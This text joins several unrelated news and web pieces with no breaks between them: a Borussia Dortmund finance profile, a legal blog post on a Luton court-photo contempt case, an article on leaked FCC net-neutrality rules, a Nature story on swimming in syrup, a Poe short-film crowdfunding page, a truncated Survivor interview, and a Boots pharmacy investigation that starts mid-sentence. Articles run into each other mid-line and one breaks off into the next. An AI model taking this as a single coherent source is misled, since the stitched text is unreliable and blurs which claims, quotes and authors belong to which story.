It is a big claim that should concern and wound England’s fat cats, even if Watzke will not criticise Premier League clubs. “They have been very successful; I’m not the guy who has to tell them what they have to do and they must go their way. But we go our way.” And an extraordinarily persuasive way it looks. Compare, for instance, tonight’s opponents, two of the most attractive teams and best run clubs in their respective leagues.
Staggeringly, Arsenal, according to Watzke, make 45 times as much revenue from their home match days as Dortmund yet their cheapest season ticket is about twice as dear as Borussia’s most expensive.
A season ticket for Dortmund’s famed Sudtribune, to savour one of football’s great experiences on the “Yellow Wall”, Europe’s biggest stadium terrace, alongside 25,000 bouncing fans costs just €190 (£160). Arsenal’s cheapest seat costs £985.
Carsten Cramer, Dortmund’s marketing director, suggests the British fan invasion over the past couple of years can partly be explained because of the cost of budget air travel and a ticket, whose price includes free public transport, can work out cheaper than a day out at some London clubs.
Borussia could rake in many millions more on match day but choose not to.
“We would lose credibility, we would lose loyalty, we would lose the bonding force with the fans. And that would cost us,” says Cramer. “For instance, our caterers asked to increase the price of half a litre of beer from €3.70 [£3.11] to €3.80 [£3.19] and we said that extra 10 cents doesn’t make the difference, why should we increase it? It doesn’t satisfy our people.”
As Watzke explains, the Dortmund philosophy must be that “no fan of Borussia Dortmund has a feeling that he is a client. German fans don’t want to feel like a spectator going to the theatre or the opera. They want to feel part of the whole.
They bill themselves, with no false modesty, as “Europe’s hottest club”, and they might be right as on and off the field they flourish spectacularly. In nine years since helping rescue the club from near-bankruptcy, Watzke has masterminded their path to a Champions League final last year and two Bundesliga titles in the past three seasons under Jürgen Klopp, a coach he feels is the world’s best. All achieved on a shoestring, relative to their major European rivals, too.
“We have not so much money,” says Watzke. “A transfer budget of €67 million [£56 million] – I think Stoke City has the same – and so we must be very, very sure that every euro of our investment comes back. And for that Jürgen is very important because we must have a coach that makes every player better.”
In a way, Dortmund, with their 55,000 season ticket holders and 95,000 club members, epitomise the flourishing health of German football.
The Bundesliga’s “50 plus one” rule which ensures the club is controlled by those members means that no foreign investor could ever take over anyway but Watzke emphasises the point, saying: “If an Arabian or a Russian phones me [to try to buy the club], I think the conversation will last 20 seconds.
"I will say I’m not interested. I would never be interested. Because with an Arabian or a Russian investor, who has the influence over the club, I think there wouldn’t be 80,000 spectators, there would be 20,000.
“The people at Chelsea were happy to win the Champions League, but I think the Borussia fans wouldn’t be happy to win it with an Arabian investor because then they wouldn’t be a piece of the club. Then they would only be customers — and they don’t want to be customers.
“English clubs must look at Financial Fair Play. It’s not a problem for Manchester United but for clubs who don’t have revenues yet spend money like Monaco.
“It’s correct that a club must spend from their revenues. It’s not the way of sport that the club with the richest investor wins. The club that wins should be the one that has the best team and the best management and the best ideas — not only the money. That’s the point.”
Football should hope the Dortmund pioneers continue to thrive.Yesterday it was reported that Paul Thompson was sent to prison for two months, just for taking a photograph in court with his Blackberry.
It was a classic "Bad Law" news story, the sort of piece which will make the reader think that the "law is an ass". Such stories are a journalistic staple; they are easy to write, and the result is invariably outrage at the disproportion of the sanction or the lack of common sense.
Often these stories are true, for the law can indeed be an ass. All those concerned with the application of legal powers and judicial remedies -- from police officers to distinguished judges -- make mistakes or act without proper deliberation and, given the coercive force of law, people's lives can be adversely affected. Similarly those who devise or make laws, such as civil servants and politicians, can end up legislating on a misconceived basis. The law can be brought into disrepute in many ways and by many people, most of whom should know better.
But sometimes the news stories are incorrect. To paraphrase Ben Goldacre, author of the Bad Science columns at the Guardian, it turns out that things are more complicated than is apparent from news reports. Any news story which prompts the reaction that the "law is an ass" is normally one of two kinds: either the law is actually at fault, or the legal reporting is incomplete or misleading. In other words, a "Bad Law" news story means either bad law, or bad law journalism.
And so we turn to the story of Paul Thompson and his Blackberry. The Times reported (£) that 19-year-old Thompson "was sitting in the public gallery of Luton crown court to watch a friend being sentenced for robbing an off-duty police officer when he took a snap of the courtroom on his Blackberry". This photograph was "in response to a message from a girl asking where he was".
Thompson was spotted, taken to the cells, and then on his return to court was sentenced to two months imprisonment. The Times referred to section 41 of the Criminal Justice Act 1925, which prohibits photography in Court. There was also mention that the sanction is up to two years in prison or a fine. A well-known media lawyer was then quoted as saying that the penalty seemed "robust for someone who had committed an inadvertent breach of the law". There was even mention of Thompson's "eight week-old puppy", which had been left "alone in his flat in Luton". The story was reported in similar terms by the BBC, and even the Guardian took the story at face value.
It was seemingly stark that this was a ridiculous over-reaction by the judge. It surely could not be right that a teenager should be imprisoned in such a casual fashion, for such a long period (and which left a puppy to starve).
So what really happened?
What did occur was more complicated than the account set out in the Times and elsewhere. In fact, Thompson had been continually disruptive in Court and had been asked twice by the usher to stop disrupting proceedings. As a spokesperson for the Judicial Office of Communication stated:
Mr Thompson had been disruptive throughout the sentencing hearing. He was warned twice by the court usher to keep quiet in court before being finally asked to leave the court. He had also taken a photograph in court of the victim in the case who had suffered a violent robbery. Her Honour Judge Mensah dealt with the matter under the Contempt of Court Act 1981 and not s.41 of the Criminal Justice Act 1925 as some media have reported. She considered the totality of Mr Thompson's behaviour in court. In sentencing him she took into account his immediate admission of guilt and made clear the sentence included an element of punishment and deterrent to others.
So, contrary to the news reports, Thompson was not punished just for taking a photograph, and nor was he convicted under the offence specified by the Times (which, in any case carries, only a small fine). He instead was sentenced in respect of the disruption as a whole. The photograph was not just a quick picture of the court to show a friend where he was; it was instead a photograph of the victim of a violent assault. And it was not a casual sanction; there had been warnings, and legal representation was arranged. The photograph taken was examined by the police and the judge before the sentence was handed down. Almost all this information was available to those reporting the story, had they asked for it.
The robbery involved appears to have been horrifying. According to the judge:
[The victim] was ambushed by somebody putting a gun to his head. He was pulled to the ground and his eyes were covered and he was violently robbed. The gun may have been imitation but that is of little comfort to the victim who had it poked to his head and I have heard evidence that you laughed after the robbery and childishly adopted gangster-like poses for photographs. You thought it was funny to rob someone at gun-point, putting them in immense fear. Both of you are dangerous young men who glory in following dishonest and violent life styles.
One can perhaps see why a camera then being pointed at the victim by Thompson did not go down terribly well with the judge.
All this said, the question remains whether the two-month imprisonment for Thompson was excessive. The Court of Appeal in 2004 (referred to here) held that a twelve month sentence for contempt of court was appropriate when the appellant took three photographs -- of people in the Court canteen, a witness giving evidence, and a defendant and prison officer in the dock. The Court of Appeal said that taking photographs in the courtroom was a growing problem and needed to be taken seriously, especially when the pictures are of those who could face intimidation or reprisals. Accordingly, it was clear "that illegal photography had the potential gravely to prejudice the administration of criminal justice". In appropriate cases, immediate imprisonment was appropriate; in that appeal case, this would be for 12 months, but for others "the clang of the prison gates would be enough". However, in the case of a tourist just snapping a pic in ignorance of the law, a fine would be appropriate.
Nonetheless, two months imprisonment is a long time for any 19-year-old. It may be that there is an appeal. What is certain is that the initial news reports of what happened last week in Luton Crown Court did not really tell the fuller story. Someone was continually disrupting the sentencing in respect of a serious violent offence, and he then took a photograph of the victim. On these facts, it would appear that there was indeed a contempt of court. Thompson was then provided with legal representation before being sentenced. An appeal court may consider whether two months is excessive; which it could well be. But this does not seem a case where it was the law which was an ass.
And, fortunately, the puppy did not starve.
David Allen Green is legal correspondent of the New StatesmanLast week, an obscure but potentially internet-transforming document was leaked from the U.S. Federal Communications Commission. It revealed that government regulators are considering rules that would give big companies a chance to make their online services run faster than smaller ones.
The proposed rules were revealed in the New York Times, and they would overturn the principle of "network neutrality" on the internet. Put simply, network neutrality allows you to use services from rich companies like Google and small startups with equal speed through your ISP. You can read a blog hosted on somebody's home server, and it loads just as quickly as a blog on Tumblr.
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Without network neutrality, Tumblr could cut a deal with your ISP — let's say it's Comcast — and its blogs would load really quickly while that home server blog might take minutes to load pictures. It might not even load at all. You can see why people in the freedom-of-speech obsessed United States might not be happy with chucking network neutrality. It privileges some speech over others, based on financial resources.
At the same time, ISPs would love to end network neutrality because they want to charge more to major players like Netflix in order to support their streaming content. Now, it looks like the FCC is thinking seriously about letting ISPs have what they want.
Over at Slate, lawyer Marvin Ammori sums up:
The FCC is going to propose that cable and phone companies such as Verizon, AT&T, and Time Warner Cable are allowed to discriminate against them, giving some websites better service and others worse service. Cable and phone companies will be able to make preferred deals with the companies that can afford to pay high fees for better service. They will even be allowed to make exclusive deals, such as making MSNBC.com the only news site on Comcast in the priority tier, and relegating competitors to a slow lane. The FCC is authorizing cable and phone companies to start making different deals with thousands or millions of websites, extracting money from sites that need to load quickly and reliably. So users will notice that Netflix or Hulu works better than Amazon Prime, which buffers repeatedly and is choppy. New sites will come along and be unable to compete with established giants. If we had had such discrimination a decade ago, we would still be using MySpace, not Facebook, because Facebook would have been unable to compete. The chairman believes he can help us in one way: He will make sure all these highly discriminatory new tolls are "commercially reasonable." Will that matter? No. Commercially reasonable deals won't be measured by the market. If Amazon is paying twice what eBay is paying, the FCC will only make sure each price is reasonable, not that the prices are nondiscriminatory.
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He adds that this "reasonable" pricing will hardly be reasonable, unless your company is insanely rich:
So, according to the FCC, when Verizon discriminates against a startup, we shouldn't be alarmed, because (while being discriminated against), this startup can hire a lot of expensive lawyers and expert witnesses and meet Verizon (a company worth more than $100 billion) at the FCC and litigate this issue out, with no certainty as to the rule. The startup will almost certainly lose either at the FCC or on appeal to a higher court, after bleeding money on lawyers.
Big internet service companies have been pushing the FCC to craft such regulations for years. In 2010, we wrote about a proposal from Amazon and Google, urging the FCC to adopt pay-to-play rules that would allow some companies to get their content to your eyeballs faster than smaller players. It's no exaggeration to say that rules like this would destroy the internet as we know it.
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Now it looks like the rules that Googlezon wished for are actually in process.
Writing in the New Yorker, law professor Tim Wu explains:
The new rule gives broadband providers what they've wanted for about a decade now: the right to speed up some traffic and degrade others. (With broadband, there is no such thing as accelerating some traffic without degrading other traffic.) We take it for granted that bloggers, start-ups, or nonprofits on an open Internet reach their audiences roughly the same way as everyone else. Now they won't. They'll be behind in the queue, watching as companies that can pay tolls to the cable companies speed ahead. The motivation is not complicated. The broadband carriers want to make more money for doing what they already do. Never mind that American carriers already charge some of the world's highest prices, around sixty dollars or more per month for broadband, a service that costs less than five dollars to provide. To put it mildly, the cable and telephone companies don't need more money.
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Wu has studied corporate controls of electronic communication for most of his life, and is the author of a terrific book about telecom monopolies called The Master Switch. He's worked as an adviser for the FCC, and has personally talked to President Obama about the need for net neutrality. So his disappointment is palpable when he notes that the leaked rules, confirmed as real by insiders at the agency, would allow internet companies to pay ISPs payola to get their traffic privileged above others.
This is the first step toward a world where corporate monopolies on content start affecting not just what you can see and read online — but also how you gain access to it. The signal will be out there, but your ISP just won't deliver it to you.
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An internet without network neutrality will look a lot like television does now. You'll depend entirely on your cable company to get broadcasts, and they will only deliver their handpicked channels in their cable packages. There will probably be a little room for the web equivalent of public access television, but it will be so underfunded and slow to load that almost nobody will see it.
It used to be that when a show couldn't make it on broadcast television, we would watch it online. That's how amazing stuff like Dr. Horrible made it into the world. But without net neutrality, we lose that option too. If a company doesn't have the money or legal acumen to get its content included in ISP packages, you will never see its programming. You'll never have those shows; you'll never have those apps; and you'll never know what you're missing.Published online 20 September 2004 | Nature | doi:10.1038/news040920-2
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You can swim just as fast in a pool of gloop.
Water: good for swimming in but no better than syrup. © Punchstock
It's a question that has taxed generations of the finest minds in physics: do humans swim slower in syrup than in water? And since you ask, the answer's no. Scientists have filled a swimming pool with a syrupy mixture and proved it.
"What appealed was the bizarreness of the idea," says Edward Cussler of the University of Minnesota, Minneapolis, who led the experiment. It's a question that also fascinated his student Brian Gettelfinger, a competitive swimmer who narrowly missed out on a place at this summer's Olympic Games in Athens.
“The fluid looked like snot. I don't know how to describe it any more poetically.” Edward Cussler
University of Minnesota
Cussler and Gettelfinger took more than 300 kilograms of guar gum, an edible thickening agent found in salad dressings, ice cream and shampoo, and dumped it into a 25-metre swimming pool, creating a gloopy liquid twice as thick as water. "It looked like snot," says Cussler.
The pair then asked 16 volunteers, a mix of both competitive and recreational swimmers, to swim in a regular pool and in the guar syrup. Whatever strokes they used, the swimmers' times differed by no more than 4%, with neither water nor syrup producing consistently faster times, the researchers report in the American Institute of Chemical Engineers Journal1.
Planning permission
The most troublesome part of the experiment was getting permission to do it in the first place. Cussler and Gettelfinger had to obtain 22 separate kinds of approval, including persuading the local authorities that it was okay to put their syrup down the drain afterwards.
But it was worth the hassle, Cussler says, not least because his quest for an answer made him something of a celebrity on campus. "The whole university was arguing about it," he recalls. "It was absolutely hilarious."
But while it might sound like a trivial question, the principle is actually fundamental. Isaac Newton and his contemporary Christiaan Huygens argued the toss over it back in the 17th century while Newton was writing his Principia Mathematica, which sets out many of the laws of physics. Newton thought that an object's speed through a fluid would depend on its viscosity, whereas Huygens thought it would not. In the end, Newton included both versions in his text.
“The best swimmer should have the body of a snake and the arms of a gorilla.” Edward Cussler
University of Minnesota
Hamstrung by their lack of access to guar gum or competitive swimmers, Newton's and Huygens' work was mainly theoretical. Cussler's demonstration shows that Huygens was right, at least for human-sized projectiles.
The reason, explains Cussler, is that while you experience more "viscous drag" (basically friction from your movement through the fluid) as the water gets thicker, you generate more forwards force from every stroke. The two effects cancel each other out.
That's not always the case. Below a certain threshold of speed and size, viscous drag becomes the dominant force, making gloopy fluids are more difficult to swim through. Had Cussler done his experiment on swimming bacteria instead of humans, he would have recorded much slower times in syrup than in water.
But for humans, speed depends not on what you swim in, but on what shape you are. Once the effects on thrust and friction have been cancelled out, the predominant force that remains is 'form drag'. This is due to the frontal area presented by a body - try running with a large newspaper held in front of you and see how much more difficult it is.
So the perfect swimmer, whether in water or syrup, has powerful muscles but a narrow frontal profile. "The best swimmer should have the body of a snake and the arms of a gorilla," recommends Cussler.
The journal that published the study is the American Institute of Chemical Engineers Journal, not the American Institute of Chemistry and Engineering Journal as initially reported.
University of Minnesota
University of MinnesotaTHE CASK OF AMONTILLADO
The Cask of Amontillado is a modernized short film adaptation of the Edgar Allan Poe story of the same name. In the film, the story revolves around Lance Sourile as he seeks to restore his once prominent name in the wine industry by eliminating his greatest competitor, his brother, Clark.
We are now starting to put the final touches on the film. It is because of your trust, support and generosity, that we can show you the film you've helped make possible.
You can keep up with The Cask of Amontillado on our website. Or our Facebook page.
To learn more about our project, you can read our Electronic Press Kit.
Check out our extended trailer for a more in depth look at the film.
THE LONG TERM GOALS.
My primary goal is to have an education distributor distribute the film to as many facilities as possible. I want it to be used as a companion piece for lectures regarding the works of Edgar Allan Poe. Comparing the original to adapted materials and teaching students how two artists can tell the same story, but with different perspectives. Teaching the next generation about one of America's greatest storytellers would be an honor, the only way I can do this is with an educational distributor.
After The Cask of Amontillado. My goal is to create a series of short adaptation of Poe stories intended for either web based or broadcast release. The next story I will be working on is "Ligeia". It will be a short 5 to 6 minute traditional cell animation, it will mark my first steps into the animation industry, a transition I've been pursuing since I entered film school.
I will use The Cask of Amontillado to pitch the animated series to investors and to contributors like yourselves. It's very likely that The Cask of Amontillado may be remade into an animation, but as this series is still very early on in development I can't say for sure. What I can say is that it is only through marketing and getting the word out about this film that my future endeavors can come to fruition.
ADDITIONAL FUNDS.
if you missed out on the original campaign, don't worry, the party isn't over yet. THE AFTER PARTY HAS BEGUN! Which is like two, regular parties or something like that. We got new rewards and more film stills to come!
While the original campaign helped fund the completion of the film and begin distribution, this new "stretch campaign" will help market and distribute the film into the far future.
Here are the additional funding benchmarks we would need to hit for future costs associated with distributing the film:
1,500 - Festival Entry Fees and Material Printing.
2,500 - Attorney Fees.
3,500 - Producer's Insurance.
Festival Entry Fees and Materials - Almost every film festival with a large following requires entries to pay fees in order to be shown, these fees can range from 25 dollars up to 100. In addition to paying for submission fees, filmmakers use these events to sell their films. I would need to print promotional materials such as business cards, posters, press kits, and DVD's in order to sell my film to these companies.
Attorney Fees - Attorney's aren't cheap. Entertainment Attorney's insure that the film that is being put into the market is in good legal standing and has all the documentation needed to for distribution companies to properly distribute the film without fear of lawsuits.
Producer's Insurance - A policy that protects the film's production company and any distribution companies that may purchase the film from any lawsuit or possible copywrite infraction that may have been missed during production. While The Cask of Amontillado is clear of any infractions as everything produced for the film was for the film only. Producer's Insurance is often required by distribution companies regardless of the legal standing of the project, just to be purchased.
With the completion of the film comes the next and biggest step, entering the film market. We still need support, distributing a film is as expensive as making one. The future holds a lot for The Cask of Amontillado.
Selling The Cask of Amontillado to a distribution company would be almost surreal. It is every filmmaker's dream to have their film shown in as many venues as possible. And with a good distributor we can show the film everywhere.Image credit: Monty Brinton/CBS[/caption]
Each week, host Jeff Probst answers a few questions about the most recent episode of Survivor: One World.
ENTERTAINMENT WEEKLY: As all these loved ones showed up and then took part in the reward challenge, all I kept thinking was: How is Probst able to remember all their names, especially while doing play by play? I |
and he believes managers treat him as a disruptive threat for questioning these practices. Tony isn’t his real name and, along with all the pharmacists in this story, some details will be left vague to protect their anonymity.
From being “really confident” on joining, he has “been under virtually constant stress for the last three years”. He told me that “Every time more than two managers come to our store together I think, ‘What’s going on? Am I going to get dismissed?’”
Boots is to outpatient care what the high‑street banks are to the UK’s money system
The past few years have been spent on and off anti-depressants. When we met late last year, he had just started another course of pills and was back in the usual side‑effects cycle: sweating, waking too early, exhaustion, sexual dysfunction.
And the pharmacy chain that Tony blames for making him feel so bad?
Boots.
You know what rogue capitalism looks like. It is a pinstriped banker defending his bonus, a Silicon Valley executive explaining exotic tax practices to short-tempered MPs, a billionaire sportswear boss pouring more money into his pocket. It is zero-hours contracts and financial shadowplay, profits funnelled through offshore shell companies and giant warehouses teeming with temps on minimum wage.
What it is not is No 7 moisturisers, contact-lens solutions, angina pills. It is not the shop on the high street with the white-coated pharmacist who fills your gran’s prescription, the shop where your mum used to go for your cough medicine. What it is not, in other words, is Boots.
But Tony’s story isn’t about one man who can’t rub along with his bosses. It is about a radically changed business model that, in the eyes of many of the company’s own staff, appears to suck the care out of a caring profession, harming employees while enriching those right at the top.
This is the tale of how one of Britain’s oldest and biggest businesses went rogue – to the point where its own pharmacists claim their working conditions threaten the safety of patients, and experts warn that the management’s pursuit of demanding financial targets poses a risk to public health. (Boots denies this, saying that “offering care for our colleagues, customers and the communities which we serve…is an integral part of our strategy.”)
At the heart of this story is one of the most urgent debates in post-crash Britain: what large companies owe the rest of us – in taxes, in wages, and in standards of behaviour.
When David Cameron calls for a “responsible capitalism”, or the former Labour leader Ed Miliband decries “predator” corporations, what both men are grasping for is a way of describing how some of our biggest and best-known businesses no longer resemble the societies they operate in. Lawfully exploiting the opportunities afforded them by globalisation and new technology, they hand over as little tax as possible to the countries on whose infrastructure and protections they rely, squeeze pay and conditions for employees even while handing out lavish rewards to managers, and underinvest in staff so as to over-reward shareholders.
This debate is not merely a moral abstraction, it is central to everyday life in Britain – from why the workforce is so unproductive to how your kids’ Sure Start centre got shut down.
As a case of rogue capitalism, Boots is sharply different and especially troubling. First, the online giants and investment banks that usually get blasted for bad behaviour by newspapers and select committees grew up in this new world of business. Boots, on the other hand, traces its origins back to the Methodist Nottingham of the 1840s. It has gone through dramatic changes to end up in this bracket.
Second, where the likes of Sports Direct and Amazon are criticised for their treatment of low-paid temporary workers, Tony and his colleagues are professionals. Their testimony shows how even “good jobs” are changing.
Finally, Britain relies on Boots – and Boots relies on Britons. It is by far the biggest pharmacy chain in the country. Healthcare professionals refer to the firm as an “essential component” of the NHS. It is to outpatient care what the high-street banks are to the UK’s money system: a massive private-sector firm delivering a vital public service.
And it takes a lot of public money to do so: around £2bn a year for prescriptions alone, according to independent financial analysis, or a third of Boots’s annual income in the UK. Then come the patient-care services paid for by the taxpayer, and the contracts Boots is now taking over from the NHS – to host GP surgeries in its stores, to run pharmacies in hospitals, to manage hearing test centres and specialist clinics monitoring drugs that prevent blood clots.
Boots gave Tony work experience in the 1980s while he was training to be a pharmacist. Back then, he said, it was a good employer, “a blue-chip, like Marks and Spencer”. But by the time he rejoined in 2011, it was under very different owners.
The transformation Tony was about to witness began in spring 2007, when Boots was bought for £11bn. This was the frenzied peak of the greatest financial bubble in history and each day’s papers brought news of more crazy deals. Still, this stood out: it was the biggest buyout ever seen in Europe.
The deal was backed by one of the world’s largest private equity groups, Kohlberg Kravis Roberts (KKR), the debt merchants synonymous with the excesses of 1980s Wall Street. But it was led by the billionaire Stefano Pessina. Barely a few months earlier, in July 2006, he had merged the wholesaling business he had created, AllianceUniChem, with the venerable British name. The result had been Alliance Boots, a Europe-wide pharmacy chain, of which he was a director. Now he was buying the entire business, whipping it off the FTSE 100 and into private ownership.
Facebook Twitter Pinterest ‘Stefano Pessina looked less like a typical FTSE bureaucrat and more like a continental football manager, here to save the ailing local side.’ Photograph: Micha Theiner/City AM/Rex
A near-unknown from the continent had just snapped up a high-street stalwart – and City newsrooms were agog. The guy even sounded exotic. He came from Italy, but had moved to Monaco, the principality famous for not levying income tax. He collected yachts and Italian old masters. Separated from his wife, he had got together with girlfriend Ornella Barra after buying her family’s business – then made her head of his wholesale operations. With his white hair and rimless glasses, Pessina looked less like a typical FTSE bureaucrat and more like a continental football manager, here to save the ailing local side.
“He confesses to living a peripatetic lifestyle, jetting between his home in Monaco, where he has to spend at least 90 nights a year to qualify for its low-tax regime, and his offices in Italy and in London,” reported the Telegraph in 2007. “The two mobiles and a BlackBerry laid in front of him are clearly more important than any office.”
After all, offices are not necessary when hunting for deals – and Pessina has a genius for making deals. By 2005, when he invited Boots executives for merger talks on his yacht off Sardinia, he had already bought more than 500 firms. Yet the press gave little consideration to the precise nature of this latest deal – and how that might change a business delivering a vital public service.
One man who was worried about Britain’s new king of medicine was Bill Scott. Until March 2015, Scott had been Scotland’s chief pharmaceutical officer for 22 years, leading policy-making on pharmacy. It was from that vantage point that he watched the takeover. “The feeling was that it would fundamentally change the ethos of Boots,” Scott told me. He and his colleagues had always regarded the company as “ethical” – because it was “very much driven by pharmacists themselves”. Now, with the money men in charge, it seemed the future was less certain.
Scott had encountered Pessina once before. The two had met in the summer of 2006 – just after Boots’s merger with Alliance Unichem, but a few months before the buyout. Pessina’s team had taken some of the top officials in Scottish pharmacy to the Balmoral in Edinburgh, a five-star hotel that still stations kilted doormen at the entrance.
Over what another attendee remembers as a “grand dinner”, the Boots team gathered intelligence about Holyrood’s plans for their industry. For his part, Scott wanted to know what Pessina had planned for Britain’s most important community pharmacist.
“The question I asked him was: ‘Are you going to stay in the health sector on the stock market?’” Each business on the FTSE (where Alliance Boots was then listed) is categorised in a particular sector, so Barclays can be found under “banks”, BAE Systems under “aerospace” and so on. Behind that innocently technical query lay a much bigger question – “I was asking: ‘Where’s your focus?’”
Pessina seemed to grasp Scott’s meaning. “He said, ‘Bill, this is a very good question and I understand why you’re asking it. But as well as pharmacy, there’s a bit of retailing – so we want to be in the retail sector.” It appeared that Pessina saw the future of Boots not as a healthcare business but alongside Marks and Spencer, Next and Carpetright. “I didn’t see him as someone with a clinical care,” Scott told me. “He’d just seen another market to get into to make money.”
Whether Bill Scott was right would determine life for Tony and his patients – and millions like them.
Prescription drugs, two packets of Beechams, a Shaper sandwich and some Brecon Carreg water. Over a century and a half, Boots had built up a business that serviced the most prosaic aspects of British life. Exciting, dynamic, a licence to print money? Nah. But at its core was a stability underwritten by government money, public goodwill and a solid reputation.
How did Pessina and KKR make £2bn out of Boots in five years? Read more
Outwardly, 2007 changed nothing. The pharmacists still wore white coats. The sign outside the shop was still the same blue and white cursive logo dating back to 1883. But behind the trusty facade was “the story of how one business model colonises another,” according to Colin Haslam, professor in accounting and finance at Queen Mary University of London. The everyday needs and ailments of communities across the UK had been reconfigured as thousands of little revenue streams for a small transnational elite of ultra-wealthy investors, whose fortunes depended on those streams getting bigger, and fast.
To see how that changed our medical services, I asked Haslam to examine the accounts of Boots UK, the main British subsidiary of the continental conglomerate Alliance Boots. The investors’ method, as Haslam describes it, was “stretch and extract”: stretch company finances and staff as far as they can go – then extract profits.
Stretching began immediately, by loading up the new asset with billions in debt. To buy Alliance Boots, Pessina and KKR had invested £2.5bn of their own money – but they borrowed almost £9bn from Barclays, the Royal Bank of Scotland, Citigroup, JP Morgan, and Merrill Lynch among other banks. The borrowed billions were then shoved onto the balance sheet of Boots UK Ltd – and those banks jumped to the front of the queue for repayment out of the profits made by the company.
Set in black ink on pink paper in the Companies and Markets section of the FT, these are no more than the technicalities of a company buyout. Yet they amount to a dramatic shift in power. Think about that previous paragraph again: a billionaire based in a tax haven, Pessina, and a small consortium of wealthy investors and funds, represented by KKR, pick up a 158-year-old company employing around 70,000 Britons. To do so, they borrow billions from a few global banks and dump most of these loans on the balance sheet of Boots in the UK – pushing it deep into debt, even though the debt has nothing to do with the actual business Boots does here. A firm that delivers an essential social service is now private, making it almost impossible for outsiders to see how it is changing. Finally, the profits made by Boots UK are used to repay the lenders faster and ultimately leave more profit for the investors.
In this way, British money – whether from customers or taxpayers – was siphoned offshore. The KKR funds that owned Alliance Boots were housed in the tax haven of the Cayman Islands, while the stakes held by Pessina were located in Luxembourg. A few months after going private, Alliance Boots shifted its headquarters from Nottingham to the low-tax canton of Zug in Switzerland.
There is nothing illegal about these arrangements, and a spokesman insisted at the time that the move to Zug was absolutely not for tax purposes: “We have chosen to locate the overall stewardship of the group in Switzerland as we believe it enhances the position of Alliance Boots as a leading international pharmacy-led health and beauty group.” Yet when Richard Brooks, a former tax inspector, visited Alliance Boots GmbH in 2012, he found that its “headquarters” in Zug was “one of around 50 unrelated companies dealt with by a local business service company, the proprietors of which were none too pleased with the visit.” And, he reported, no Boots employees were present.
All very complicated, yet perhaps rather lucrative for Pessina and KKR. In 2013, a report published by War on Want, Unite and the US campaign group Change to Win, claimed that Alliance Boots had legally avoided paying over £1bn in taxes to the UK since going private. Yet around 40% of the revenues for its British business come straight from the NHS. The campaigners complained to the OECD, the rich-nations’ thinktank, about what they saw as a violation of UK tax laws, although the OECD rejected the claim.
A Boots spokesperson categorically rejected the tax campaigners’ claims, describing their calculations as factually inaccurate, “heavily biased” and “defamatory”. The spokesperson stated: “We organise our tax affairs strictly in compliance with all applicable laws in each jurisdiction.” In the financial year from 2013 to 2014, Boots paid “around £577m in tax in the UK”. The company refused to give any further details, apart from to say that the sum includes business rates and national insurance. Yet business rates and national insurance are the cost any firm must bear to run shops and employ staff. A family is not granted a lower council tax bill because it has already shelled out for the electric and water.
If Nottinghamshire heritage could be junked in the new regime, financial stability didn’t count for much, either. Before the takeover, Boots UK bore a modest 50p-worth of loans for every £1 of equity, or net assets. Immediately after the takeover, that ratio shot up five-fold. It was as if a house worth only £100,000 suddenly had a giant mortgage of £250,000. Haslam, who is a former corporate financier, believes that balancing such huge debt on comparatively little equity would be judged by an auditor as “high risk”.
Facebook Twitter Pinterest ‘Boots says self-checking – where pharmacists monitor their own work – must be done only as a last resort’. Photograph: Alamy
This is not an academic point, but a matter for public interest. To pocket Boots, Pessina and KKR had to outbid another private-equity baron, Guy Hands. His outfit, Terra Firma, went on to buy Four Seasons Health Care, the biggest care home operator in the UK. It shares certain similarities with Boots: both private-sector providers of public services; both weighed down by the expense of running old-fashioned bricks and mortar, both controlled by tax exiles (Hands uses Guernsey as his base). Four Seasons, too, was landed with outsize debt – and over the last few months, the group has gone into meltdown: struggling to pay the interest on its loans, castigated by government inspectors for providing “inadequate” care in 125 of its homes, forced to sell some properties and overhaul others.
Four Seasons is now a prime example of what happens when private equity – big borrowing, hard charging – goes wrong, with results that may be paid for by its residents and families and even taxpayers over the coming months and years.
This is not likely to happen to Boots. But Haslam sees the same conflict between outsize profit-seeking and public interest, claiming: “Boots is now about immuring tax, squeezing labour costs and taking out the dividends rather than reinvesting in the business.”
Whether as residents or patients, relatives or members of the public, we need our care homes and pharmacies to be reliably dull. When financiers get excited over such sectors, the rest of us should worry. Yet Pessina came to Boots promising double-digit growth. “There’s so much to do – the products are fantastic, the spirit of the people is fantastic,” he fizzed in a 2008 interview. “The important thing now is to motivate them and to convince them they can succeed.”
Late last year, I went to the Midlands to meet Tony and hear his views on how his working conditions had changed. He took me on a tour of a branch of Boots very like his own, a large, relatively new shop in an out-of-town retail park.
Here, the chemist’s counter had a full complement of staff. So had Tony’s – when he began in 2011. But by then, four years into the buyout, job cuts were well under way, both in his store and across the country. Now for hours each day, he said, it was only him manning the counter and the pill dispensary while taking care of the shop’s photo business, too. With no other colleagues around to make sure he was giving out the right drugs at the right dosage, Tony had to monitor his own work. Pharmacists call this “self-checking”, and it leaves patients at greater risk of getting the wrong medication. In its own standard operating procedure, Boots says self-checking must be done only “as a last resort”. Yet Tony claims he was self-checking on a daily basis. (Asked for comment on this practice, Boots would say nothing on the record.)
Working by himself, Tony explained he also had to hand out vouchers for money off makeup. “We try to get the patient to redeem that voucher straight away. We have to: they monitor that kind of thing.” He added: “That commercial focus in pharmacy – 10 years ago it would have been unheard of.”.
But that was the least of Tony’s worries. It was the medicine-use reviews (MURs) that really bothered him. Patients came to his consulting room and discussed their diet and health problems, while he took them through a chunky list of questions and advised them on what their medicines were meant to do and how best to take them. Free for the customer, a way of keeping a patient out of a GP’s waiting room, and for each one the NHS pays the company £28. To prevent the system from being abused, every pharmacy in the country is limited to 400 MURs a year. Except Tony’s managers took that number as a target for his store to hit.
“Miss it and they get on your back,” said Tony. He adopted a manager’s whine: “You’ve done three MURs less than you should have done this week.”
A Boots pharmacist from another region described to me a recent staff awayday at which he and his colleagues were told: “400 MURs is an expectation now. We don’t need to tell you that.”
I have seen a 2008 email from a Boots area manager in yet another part of the country that states:
I personally don’t want colleagues to feel ‘brow-beaten’, but we do need to deliver our targets of 400 MCUs [medicine check-ups – another name for MURs] per store this financial year for two reasons: 1. Delivering 400 MCUs is a measure of Excellent Patient Care 2. The company can make £28 profit for each MCU, so each one we don’t deliver is a lost £28.
So keen was Tony’s store to make that profit, he claims it did reviews on anyone, no matter how unsuitable. Tony himself was told to have one – and to give one to a patient with severe dementia. His manager came in for one – no sooner had it begun than she walked out, but it still went towards the total. All so the shop could earn that extra £11,200 from a scheme intended to help the sick. (Asked to comment, Boots said: “We make it clear to our colleagues that these services should not be undertaken inappropriately.”)
Assuming each pharmacy churns out 400 MURs a year, that one NHS programme is worth an annual £30m to the company
